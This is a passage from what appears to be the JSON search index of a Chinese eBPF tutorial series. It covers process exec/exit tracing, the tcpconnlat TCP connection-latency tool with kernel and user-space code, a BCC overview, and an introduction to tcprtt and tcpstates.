eBPF 程序收到的事件。根据事件类型（进程执行或退出），它会提取并打印事件信息，如时间戳、进程名、进程 ID、父进程 ID、文件名或退出代码等。 最后，我们使用 ring_buffer__poll() 函数轮询环形缓冲区，处理收到的事件数据： while (!exiting) { err = ring_buffer__poll(rb, 100 /* timeout, ms */); // ...\n} 当程序收到 SIGINT 或 SIGTERM 信号时，它会最后完成清理、退出操作，关闭和卸载 eBPF 程序： cleanup: /* Clean up */ ring_buffer__free(rb); bootstrap_bpf__destroy(skel); return err < 0 ? -err : 0;\n}","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 用户态，bootstrap.c","id":"68","title":"用户态，bootstrap.c"},"69":{"body":"构建示例需要 clang、libelf 和 zlib。包名在不同的发行版中可能会有所不同。 在 Ubuntu/Debian 上，你需要执行以下命令： sudo apt install clang libelf1 libelf-dev zlib1g-dev 在 CentOS/Fedora 上，你需要执行以下命令： sudo dnf install clang elfutils-libelf elfutils-libelf-devel zlib-devel","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 安装依赖","id":"69","title":"安装依赖"},"7":{"body":"eBPF 程序由内核态部分和用户态部分构成。内核态部分包含程序的实际逻辑，用户态部分负责加载和管理内核态部分。使用 eunomia-bpf 开发工具，只需编写内核态部分的代码。 内核态部分的代码需要符合 eBPF 的语法和指令集。eBPF 程序主要由若干个函数组成，每个函数都有其特定的作用。可以使用的函数类型包括： kprobe：插探函数，在指定的内核函数前或后执行。 tracepoint：跟踪点函数，在指定的内核跟踪点处执行。 raw_tracepoint：原始跟踪点函数，在指定的内核原始跟踪点处执行。 xdp：网络数据处理函数，拦截和处理网络数据包。 perf_event：性能事件函数，用于处理内核性能事件。 kretprobe：函数返回插探函数，在指定的内核函数返回时执行。 tracepoint_return：跟踪点函数返回，在指定的内核跟踪点返回时执行。 raw_tracepoint_return：原始跟踪点函数返回，在指定的内核原始跟踪","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 编写 eBPF 程序","id":"7","title":"编写 eBPF 程序"},"70":{"body":"编译运行上述代码： $ git submodule update --init --recursive\n$ make BPF .output/bootstrap.bpf.o GEN-SKEL .output/bootstrap.skel.h CC .output/bootstrap.o BINARY bootstrap\n$ sudo ./bootstrap [sudo] password for yunwei: TIME EVENT COMM PID PPID FILENAME/EXIT CODE\n03:16:41 EXEC sh 110688 80168 /bin/sh\n03:16:41 EXEC which 110689 110688 /usr/bin/which\n03:16:41 EXIT which 110689 110688 [0] (0ms)\n03:16:41 EXIT sh 110688 80168 [0] (0ms)\n03:16:41 EXEC sh 110690 80168 /bin/sh\n03:16:41 EXEC ps 110691 110690 /usr/bin/ps\n03:16:41 EXIT ps 110691 110690 [0] (49ms)\n03:16:41 EXIT sh 110690 80168 [0] (51ms)","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 编译运行","id":"70","title":"编译运行"},"71":{"body":"通过这个实例，我们了解了如何将 eBPF 程序与用户态程序结合使用。这种结合为开发者提供了一个强大的工具集，可以实现跨内核和用户空间的高效数据收集和处理。通过使用 eBPF 和 libbpf，您可以构建更高效、可扩展和安全的监控和性能分析工具。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 总结","id":"71","title":"总结"},"72":{"body":"eBPF (Extended Berkeley Packet Filter) 是一项强大的网络和性能分析工具，被应用在 Linux 内核上。eBPF 允许开发者动态加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 本文是 eBPF 入门开发实践教程的第十三篇，主要介绍如何使用 eBPF 统计 TCP 连接延时，并使用 libbpf 在用户态处理数据。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » eBPF入门开发实践教程十三：统计 TCP 连接延时，并使用 libbpf 在用户态处理数据","id":"72","title":"eBPF入门开发实践教程十三：统计 TCP 连接延时，并使用 libbpf 在用户态处理数据"},"73":{"body":"在进行后端开发时，不论使用何种编程语言，我们都常常需要调用 MySQL、Redis 等数据库，或执行一些 RPC 远程调用，或者调用其他的 RESTful API。这些调用的底层，通常都是基于 TCP 协议进行的。原因是 TCP 协议具有可靠连接、错误重传、拥塞控制等优点，因此在网络传输层协议中，TCP 的应用广泛程度超过了 UDP。然而，TCP 也有一些缺点，如建立连接的延时较长。因此，也出现了一些替代方案，例如 QUIC（Quick UDP Internet Connections，快速 UDP 网络连接）。 分析 TCP 连接延时对网络性能分析、优化以及故障排查都非常有用。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 背景","id":"73","title":"背景"},"74":{"body":"tcpconnlat 这个工具能够跟踪内核中执行活动 TCP 连接的函数（如通过 connect() 系统调用），并测量并显示连接延时，即从发送 SYN 到收到响应包的时间。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcpconnlat 工具概述","id":"74","title":"tcpconnlat 工具概述"},"75":{"body":"TCP 连接的建立过程，常被称为“三次握手”（Three-way Handshake）。以下是整个过程的步骤： 客户端向服务器发送 SYN 包：客户端通过 connect() 系统调用发出 SYN。这涉及到本地的系统调用以及软中断的 CPU 时间开销。 SYN 包传送到服务器：这是一次网络传输，涉及到的时间取决于网络延迟。 服务器处理 SYN 包：服务器内核通过软中断接收包，然后将其放入半连接队列，并发送 SYN/ACK 响应。这主要涉及 CPU 时间开销。 SYN/ACK 包传送到客户端：这是另一次网络传输。 客户端处理 SYN/ACK：客户端内核接收并处理 SYN/ACK 包，然后发送 ACK。这主要涉及软中断处理开销。 ACK 包传送到服务器：这是第三次网络传输。 服务器接收 ACK：服务器内核接收并处理 ACK，然后将对应的连接从半连接队列移动到全连接队列。这涉及到一次软中断的 CPU 开销。 唤醒服务器端用户进程：被 accept() 系统调用阻塞的用户进程被唤醒，然后从全连接队列中取出来已经建立好的连接。这涉及一次上下文切换的CPU开销。 完整的流程图如下所示： tcpconnlat1 在客户端视角，在正常情况下一次TCP连接总的耗时也就就大约是一次网络RTT的耗时。但在某些情况下，可能会导致连接时的网络传输耗时上涨、CPU处理开销增加、甚至是连接失败。这种时候在发现延时过长之后，就可以结合其他信息进行分析。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » TCP 连接原理","id":"75","title":"TCP 连接原理"},"76":{"body":"为了理解 TCP 的连接建立过程，我们需要理解 Linux 内核在处理 TCP 连接时所使用的两个队列： 半连接队列（SYN 队列）：存储那些正在进行三次握手操作的 TCP 连接，服务器收到 SYN 包后，会将该连接信息存储在此队列中。 全连接队列（Accept 队列）：存储已经完成三次握手，等待应用程序调用 accept() 函数的 TCP 连接。服务器在收到 ACK 包后，会创建一个新的连接并将其添加到此队列。 理解了这两个队列的用途，我们就可以开始探究 tcpconnlat 的具体实现。tcpconnlat 的实现可以分为内核态和用户态两个部分，其中包括了几个主要的跟踪点：tcp_v4_connect, tcp_v6_connect 和 tcp_rcv_state_process。 这些跟踪点主要位于内核中的 TCP/IP 网络栈。当执行相关的系统调用或内核函数时，这些跟踪点会被激活，从而触发 eBPF 程序的执行。这使我们能够捕获和测量 TCP 连接建立的整个过程。 让我们先来看一下这些挂载点的源代码： SEC(\"kprobe/tcp_v4_connect\")\nint BPF_KPROBE(tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_v6_connect\")\nint BPF_KPROBE(tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_rcv_state_process\")\nint BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} 这段代码展示了三个内核探针（kprobe）的定义。tcp_v4_connect 和 tcp_v6_connect 在对应的 IPv4 和 IPv6 连接被初始化时被触发，调用 trace_connect() 函数，而 tcp_rcv_state_process 在内核处理 TCP 连接状态变化时被触发，调用 handle_tcp_rcv_state_process() 函数。 接下来的部分将分为两大块：一部分是对这些挂载点内核态部分的分析，我们将解读内核源代码来详细说明这些函数如何工作；另一部分是用户态的分析，将关注 eBPF 程序如何收集这些挂载点的数据，以及如何与用户态程序进行交互。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcpconnlat 的 eBPF 实现","id":"76","title":"tcpconnlat 的 eBPF 实现"},"77":{"body":"tcp_v4_connect函数是Linux内核处理TCP的IPv4连接请求的主要方式。当用户态程序通过socket系统调用创建了一个套接字后，接着通过connect系统调用尝试连接到远程服务器，此时就会触发tcp_v4_connect函数。 /* This will initiate an outgoing connection. */\nint tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)\n{ struct sockaddr_in *usin = (struct sockaddr_in *)uaddr; struct inet_timewait_death_row *tcp_death_row; struct inet_sock *inet = inet_sk(sk); struct tcp_sock *tp = tcp_sk(sk); struct ip_options_rcu *inet_opt; struct net *net = sock_net(sk); __be16 orig_sport, orig_dport; __be32 daddr, nexthop; struct flowi4 *fl4; struct rtable *rt; int err; if (addr_len < sizeof(struct sockaddr_in)) return -EINVAL; if (usin->sin_family != AF_INET) return -EAFNOSUPPORT; nexthop = daddr = usin->sin_addr.s_addr; inet_opt = rcu_dereference_protected(inet->inet_opt, lockdep_sock_is_held(sk)); if (inet_opt && inet_opt->opt.srr) { if (!daddr) return -EINVAL; nexthop = inet_opt->opt.faddr; } orig_sport = inet->inet_sport; orig_dport = usin->sin_port; fl4 = &inet->cork.fl.u.ip4; rt = ip_route_connect(fl4, nexthop, inet->inet_saddr, sk->sk_bound_dev_if, IPPROTO_TCP, orig_sport, orig_dport, sk); if (IS_ERR(rt)) { err = PTR_ERR(rt); if (err == -ENETUNREACH) IP_INC_STATS(net, IPSTATS_MIB_OUTNOROUTES); return err; } if (rt->rt_flags & (RTCF_MULTICAST | RTCF_BROADCAST)) { ip_rt_put(rt); return -ENETUNREACH; } if (!inet_opt || !inet_opt->opt.srr) daddr = fl4->daddr; tcp_death_row = &sock_net(sk)->ipv4.tcp_death_row; if (!inet->inet_saddr) { err = inet_bhash2_update_saddr(sk, &fl4->saddr, AF_INET); if (err) { ip_rt_put(rt); return err; } } else { sk_rcv_saddr_set(sk, inet->inet_saddr); } if (tp->rx_opt.ts_recent_stamp && inet->inet_daddr != daddr) { /* Reset inherited state */ tp->rx_opt.ts_recent = 0; tp->rx_opt.ts_recent_stamp = 0; if (likely(!tp->repair)) WRITE_ONCE(tp->write_seq, 0); } inet->inet_dport = usin->sin_port; sk_daddr_set(sk, daddr); inet_csk(sk)->icsk_ext_hdr_len = 0; if (inet_opt) inet_csk(sk)->icsk_ext_hdr_len = inet_opt->opt.optlen; tp->rx_opt.mss_clamp = TCP_MSS_DEFAULT; /* Socket identity is still unknown (sport may be zero). * However we set state to SYN-SENT and not releasing socket * lock select source port, enter ourselves into the hash tables and * complete initialization after this. */ tcp_set_state(sk, TCP_SYN_SENT); err = inet_hash_connect(tcp_death_row, sk); if (err) goto failure; sk_set_txhash(sk); rt = ip_route_newports(fl4, rt, orig_sport, orig_dport, inet->inet_sport, inet->inet_dport, sk); if (IS_ERR(rt)) { err = PTR_ERR(rt); rt = NULL; goto failure; } /* OK, now commit destination to socket. */ sk->sk_gso_type = SKB_GSO_TCPV4; sk_setup_caps(sk, &rt->dst); rt = NULL; if (likely(!tp->repair)) { if (!tp->write_seq) WRITE_ONCE(tp->write_seq, secure_tcp_seq(inet->inet_saddr, inet->inet_daddr, inet->inet_sport, usin->sin_port)); tp->tsoffset = secure_tcp_ts_off(net, inet->inet_saddr, inet->inet_daddr); } inet->inet_id = get_random_u16(); if (tcp_fastopen_defer_connect(sk, &err)) return err; if (err) goto failure; err = tcp_connect(sk); if (err) goto failure; return 0; failure: /* * This unhashes the socket and releases the local port, * if necessary. */ tcp_set_state(sk, TCP_CLOSE); inet_bhash2_reset_saddr(sk); ip_rt_put(rt); sk->sk_route_caps = 0; inet->inet_dport = 0; return err;\n}\nEXPORT_SYMBOL(tcp_v4_connect); 参考链接： https://elixir.bootlin.com/linux/latest/source/net/ipv4/tcp_ipv4.c#L340 接下来，我们一步步分析这个函数： 首先，这个函数接收三个参数：一个套接字指针sk，一个指向套接字地址结构的指针uaddr和地址的长度addr_len。 int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) 函数一开始就进行了参数检查，确认地址长度正确，而且地址的协议族必须是IPv4。不满足这些条件会导致函数返回错误。 接下来，函数获取目标地址，如果设置了源路由选项（这是一个高级的IP特性，通常不会被使用），那么它还会获取源路由的下一跳地址。 nexthop = daddr = usin->sin_addr.s_addr;\ninet_opt = rcu_dereference_protected(inet->inet_opt, lockdep_sock_is_held(sk));\nif (inet_opt && inet_opt->opt.srr) { if (!daddr) return -EINVAL; nexthop = inet_opt->opt.faddr;\n} 然后，使用这些信息来寻找一个路由到目标地址的路由项。如果不能找到路由项或者路由项指向一个多播或广播地址，函数返回错误。 接下来，它更新了源地址，处理了一些TCP时间戳选项的状态，并设置了目标端口和地址。之后，它更新了一些其他的套接字和TCP选项，并设置了连接状态为SYN-SENT。 然后，这个函数使用inet_hash_connect函数尝试将套接字添加到已连接的套接字的散列表中。如果这步失败，它会恢复套接字的状态并返回错误。 如果前面的步骤都成功了，接着，使用新的源和目标端口来更新路由项。如果这步失败，它会清理资源并返回错误。 接下来，它提交目标信息到套接字，并为之后的分段偏移选择一个安全的随机值。 然后，函数尝试使用TCP Fast Open（TFO）进行连接，如果不能使用TFO或者TFO尝试失败，它会使用普通的TCP三次握手进行连接。 最后，如果上面的步骤都成功了，函数返回成功，否则，它会清理所有资源并返回错误。 总的来说，tcp_v4_connect函数是一个处理TCP连接请求的复杂函数，它处理了很多情况，包括参数检查、路由查找、源地址选择、源路由、TCP选项处理、TCP Fast Open，等等。它的主要目标是尽可能安全和有效地建立TCP连接。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcp_v4_connect 函数解析","id":"77","title":"tcp_v4_connect 函数解析"},"78":{"body":"// SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include \n#include \n#include \n#include \n#include \"tcpconnlat.h\" #define AF_INET 2\n#define AF_INET6 10 const volatile __u64 targ_min_us = 0;\nconst volatile pid_t targ_tgid = 0; struct piddata { char comm[TASK_COMM_LEN]; u64 ts; u32 tgid;\n}; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 4096); __type(key, struct sock *); __type(value, struct piddata);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); static int trace_connect(struct sock *sk)\n{ u32 tgid = bpf_get_current_pid_tgid() >> 32; struct piddata piddata = {}; if (targ_tgid && targ_tgid != tgid) return 0; bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm)); piddata.ts = bpf_ktime_get_ns(); piddata.tgid = tgid; bpf_map_update_elem(&start, &sk, &piddata, 0); return 0;\n} static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)\n{ struct piddata *piddatap; struct event event = {}; s64 delta; u64 ts; if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT) return 0; piddatap = bpf_map_lookup_elem(&start, &sk); if (!piddatap) return 0; ts = bpf_ktime_get_ns(); delta = (s64)(ts - piddatap->ts); if (delta < 0) goto cleanup; event.delta_us = delta / 1000U; if (targ_min_us && event.delta_us < targ_min_us) goto cleanup; __builtin_memcpy(&event.comm, piddatap->comm, sizeof(event.comm)); event.ts_us = ts / 1000; event.tgid = piddatap->tgid; event.lport = BPF_CORE_READ(sk, __sk_common.skc_num); event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport); event.af = BPF_CORE_READ(sk, __sk_common.skc_family); if (event.af == AF_INET) { event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr); event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr); } else { BPF_CORE_READ_INTO(&event.saddr_v6, sk, __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); BPF_CORE_READ_INTO(&event.daddr_v6, sk, __sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); cleanup: bpf_map_delete_elem(&start, &sk); return 0;\n} SEC(\"kprobe/tcp_v4_connect\")\nint BPF_KPROBE(tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_v6_connect\")\nint BPF_KPROBE(tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_rcv_state_process\")\nint BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} SEC(\"fentry/tcp_v4_connect\")\nint BPF_PROG(fentry_tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"fentry/tcp_v6_connect\")\nint BPF_PROG(fentry_tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"fentry/tcp_rcv_state_process\")\nint BPF_PROG(fentry_tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这个eBPF（Extended Berkeley Packet Filter）程序主要用来监控并收集TCP连接的建立时间，即从发起TCP连接请求(connect系统调用)到连接建立完成(SYN-ACK握手过程完成)的时间间隔。这对于监测网络延迟、服务性能分析等方面非常有用。 首先，定义了两个eBPF maps：start和events。start是一个哈希表，用于存储发起连接请求的进程信息和时间戳，而events是一个PERF_EVENT_ARRAY类型的map，用于将事件数据传输到用户态。 struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 4096); __type(key, struct sock *); __type(value, struct piddata);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); 在tcp_v4_connect和tcp_v6_connect的kprobe处理函数trace_connect中，会记录下发起连接请求的进程信息（进程名、进程ID和当前时间戳），并以socket结构作为key，存储到start这个map中。 static int trace_connect(struct sock *sk)\n{ u32 tgid = bpf_get_current_pid_tgid() >> 32; struct piddata piddata = {}; if (targ_tgid && targ_tgid != tgid) return 0; bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm)); piddata.ts = bpf_ktime_get_ns(); piddata.tgid = tgid; bpf_map_update_elem(&start, &sk, &piddata, 0); return 0;\n} 当TCP状态机处理到SYN-ACK包，即连接建立的时候，会触发tcp_rcv_state_process的kprobe处理函数handle_tcp_rcv_state_process。在这个函数中，首先检查socket的状态是否为SYN-SENT，如果是，会从start这个map中查找socket对应的进程信息。然后计算出从发起连接到现在的时间间隔，将该时间间隔，进程信息，以及TCP连接的详细信息（源端口，目标端口，源IP，目标IP等）作为event，通过bpf_perf_event_output函数发送到用户态。 static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)\n{ struct piddata *piddatap; struct event event = {}; s64 delta; u64 ts; if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT) return 0; piddatap = bpf_map_lookup_elem(&start, &sk); if (!piddatap) return 0; ts = bpf_ktime_get_ns(); delta = (s64)(ts - piddatap->ts); if (delta < 0) goto cleanup; event.delta_us = delta / 1000U; if (targ_min_us && event.delta_us < targ_min_us) goto cleanup; __builtin_memcpy(&event.comm, piddatap->comm, sizeof(event.comm)); event.ts_us = ts / 1000; event.tgid = piddatap->tgid; event.lport = BPF_CORE_READ(sk, __sk_common.skc_num); event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport); event.af = BPF_CORE_READ(sk, __sk_common.skc_family); if (event.af == AF_INET) { event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr); event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr); } else { BPF_CORE_READ_INTO(&event.saddr_v6, sk, __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); BPF_CORE_READ_INTO(&event.daddr_v6, sk, __sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); cleanup: bpf_map_delete_elem(&start, &sk); return 0;\n} 理解这个程序的关键在于理解Linux内核的网络栈处理流程，以及eBPF程序的运行模式。Linux内核网络栈对TCP连接建立的处理过程是，首先调用tcp_v4_connect或tcp_v6_connect函数（根据IP版本不同）发起TCP连接，然后在收到SYN-ACK包时，通过tcp_rcv_state_process函数来处理。eBPF程序通过在这两个关键函数上设置kprobe，可以在关键时刻得到通知并执行相应的处理代码。 一些关键概念说明： kprobe：Kernel Probe，是Linux内核中用于动态追踪内核行为的机制。可以在内核函数的入口和退出处设置断点，当断点被触发时，会执行与kprobe关联的eBPF程序。 map：是eBPF程序中的一种数据结构，用于在内核态和用户态之间共享数据。 socket：在Linux网络编程中，socket是一个抽象概念，表示一个网络连接的端点。内核中的struct sock结构就是对socket的实现。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 内核态代码","id":"78","title":"内核态代码"},"79":{"body":"用户态数据处理是使用perf_buffer__poll来接收并处理从内核发送到用户态的eBPF事件。perf_buffer__poll是libbpf库提供的一个便捷函数，用于轮询perf event buffer并处理接收到的数据。 首先，让我们详细看一下主轮询循环： /* main: poll */ while (!exiting) { err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); if (err < 0 && err != -EINTR) { fprintf(stderr, \"error polling perf buffer: %s\\n\", strerror(-err)); goto cleanup; } /* reset err to return 0 if exiting */ err = 0; } 这段代码使用一个while循环来反复轮询perf event buffer。如果轮询出错（例如由于信号中断），会打印出错误消息。这个轮询过程会一直持续，直到收到一个退出标志exiting。 接下来，让我们来看看handle_event函数，这个函数将处理从内核发送到用户态的每一个eBPF事件： void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { const struct event* e = data; char src[INET6_ADDRSTRLEN]; char dst[INET6_ADDRSTRLEN]; union { struct in_addr x4; struct in6_addr x6; } s, d; static __u64 start_ts; if (env.timestamp) { if (start_ts == 0) start_ts = e->ts_us; printf(\"%-9.3f \", (e->ts_us - start_ts) / 1000000.0); } if (e->af == AF_INET) { s.x4.s_addr = e->saddr_v4; d.x4.s_addr = e->daddr_v4; } else if (e->af == AF_INET6) { memcpy(&s.x6.s6_addr, e->saddr_v6, sizeof(s.x6.s6_addr)); memcpy(&d.x6.s6_addr, e->daddr_v6, sizeof(d.x6.s6_addr)); } else { fprintf(stderr, \"broken event: event->af=%d\", e->af); return; } if (env.lport) { printf(\"%-6d %-12.12s %-2d %-16s %-6d %-16s %-5d %.2f\\n\", e->tgid, e->comm, e->af == AF_INET ? 4 : 6, inet_ntop(e->af, &s, src, sizeof(src)), e->lport, inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport), e->delta_us / 1000.0); } else { printf(\"%-6d %-12.12s %-2d %-16s %-16s %-5d %.2f\\n\", e->tgid, e->comm, e->af == AF_INET ? 4 : 6, inet_ntop(e->af, &s, src, sizeof(src)), inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport), e->delta_us / 1000.0); }\n} handle_event函数的参数包括了CPU编号、指向数据的指针以及数据的大小。数据是一个event结构体，包含了之前在内核态计算得到的TCP连接的信息。 首先，它将接收到的事件的时间戳和起始时间戳（如果存在）进行对比，计算出事件的相对时间，并打印出来。接着，根据IP地址的类型（IPv4或IPv6），将源地址和目标地址从网络字节序转换为主机字节序。 最后，根据用户是否选择了显示本地端口，将进程ID、进程名称、IP版本、源IP地址、本地端口（如果有）、目标IP地址、目标端口以及连接建立时间打印出来。这个连接建立时间是我们在内核态eBPF程序中计算并发送到用户态的。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 用户态数据处理","id":"79","title":"用户态数据处理"},"8":{"body":"BCC全称为BPF Compiler Collection，该项目是一个python库， 包含了完整的编写、编译、和加载BPF程序的工具链，以及用于调试和诊断性能问题的工具。 自2015年发布以来，BCC经过上百位贡献者地不断完善后，目前已经包含了大量随时可用的跟踪工具。 其官方项目库 提供了一个方便上手的教程，用户可以快速地根据教程完成BCC入门工作。 用户可以在BCC上使用Python、Lua等高级语言进行编程。 相较于使用C语言直接编程，这些高级语言具有极大的便捷性，用户只需要使用C来设计内核中的 BPF程序，其余包括编译、解析、加载等工作在内，均可由BCC完成。 然而使用BCC存在一个缺点便是在于其兼容性并不好。基于BCC的 eBPF程序每次执行时候都需要进行编译，编译则需要用户配置相关的头文件和对应实现。在实际应用中， 相信大家也会有体会，编译依赖问题是一个很棘手的问题。也正是因此，在本项目的开发中我们放弃了BCC， 选择了可以做到一次编译-多次运行的libbpf-bootstrap工具。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » BCC","id":"8","title":"BCC"},"80":{"body":"$ make\n... BPF .output/tcpconnlat.bpf.o GEN-SKEL .output/tcpconnlat.skel.h CC .output/tcpconnlat.o BINARY tcpconnlat\n$ sudo ./tcpconnlat PID COMM IP SADDR DADDR DPORT LAT(ms)\n222564 wget 4 192.168.88.15 110.242.68.3 80 25.29\n222684 wget 4 192.168.88.15 167.179.101.42 443 246.76\n222726 ssh 4 192.168.88.15 167.179.101.42 22 241.17\n222774 ssh 4 192.168.88.15 1.15.149.151 22 25.31 源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/13-tcpconnlat 参考资料： tcpconnlat","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 编译运行","id":"80","title":"编译运行"},"81":{"body":"通过本篇 eBPF 入门实践教程，我们学习了如何使用 eBPF 来跟踪和统计 TCP 连接建立的延时。我们首先深入探讨了 eBPF 程序如何在内核态监听特定的内核函数，然后通过捕获这些函数的调用，从而得到连接建立的起始时间和结束时间，计算出延时。 我们还进一步了解了如何使用 BPF maps 来在内核态存储和查询数据，从而在 eBPF 程序的多个部分之间共享数据。同时，我们也探讨了如何使用 perf events 来将数据从内核态发送到用户态，以便进一步处理和展示。 在用户态，我们介绍了如何使用 libbpf 库的 API，例如 perf_buffer__poll，来接收和处理内核态发送过来的数据。我们还讲解了如何对这些数据进行解析和打印，使得它们能以人类可读的形式显示出来。 如果您希望学习更多关于 eBPF 的知识和实践，请查阅 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 总结","id":"81","title":"总结"},"82":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 在我们的 eBPF 入门实践教程系列的这一篇，我们将介绍两个示例程序：tcpstates 和 tcprtt。tcpstates 用于记录 TCP 连接的状态变化，而 tcprtt 则用于记录 TCP 的往返时间 (RTT, Round-Trip Time)。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » eBPF入门实践教程十四：记录 TCP 连接状态与 TCP RTT","id":"82","title":"eBPF入门实践教程十四：记录 TCP 连接状态与 TCP RTT"},"83":{"body":"网络质量在当前的互联网环境中至关重要。影响网络质量的因素有许多，包括硬件、网络环境、软件编程的质量等。为了帮助用户更好地定位网络问题，我们引入了 tcprtt 这个工具。tcprtt 可以监控 TCP 链接的往返时间，从而评估网络质量，帮助用户找出可能的问题所在。 当 TCP 链接建立时，tcprtt 会自动根据当前系统的状况，选择合适的执行函数。在执行函数中，tcprtt 会收集 TCP 链接的各项基本信息，如源地址、目标地址、源端口、目标端口、耗时等，并将这些信息更新到直方图型的 BPF map 中。运行结束后，tcprtt 会通过用户态代码，将收集的信息以图形化的方式展示给用户。 tcpstates 则是一个专门用来追踪和打印 TCP 连接状态变化的工具。它可以显示 TCP 连接在每个状态中的停留时长，单位为毫秒。例如，对于一个单独的 TCP 会话，tcpstates 可以打印出类似以下的输出： SKADDR C-PID C-COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS\nffff9fd7e8192000 22384 curl 100.66.100.185 0 52.33.159.26 80 CLOSE -> SYN_SENT 0.000\nffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 SYN_SENT -> ESTABLISHED 1.373\nffff9fd7e8192000 22384 curl 100.66.100.185 63446 52.33.159.26 80 ESTABLISHED -> FIN_WAIT1 176.042\nffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT1 -> FIN_WAIT2 0.536\nffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT2 -> CLOSE 0.006 以上输出中，最多的时间被花在了 ESTABLISHED 状态，也就是连接已经建立并在传输数据的状态，这个状态到 FIN_WAIT1 状态（开始关闭连接的状态）的转变过程中耗费了 176.042 毫秒。 在我们接下来的教程中，我们会更深入地探讨这两个工具，解释它们的实现原理，希望这些内容对你在使用 eBPF 进行网络和性能分析方面的工作有所帮助。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcprtt 与 tcpstates","id":"83","title":"tcprtt 与 